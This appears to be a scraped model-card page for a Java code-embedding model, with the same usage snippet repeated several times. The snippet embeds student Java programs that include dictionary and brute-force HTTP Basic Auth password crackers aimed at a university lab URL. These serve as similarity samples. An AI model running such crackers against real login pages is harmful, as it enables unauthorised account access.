Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      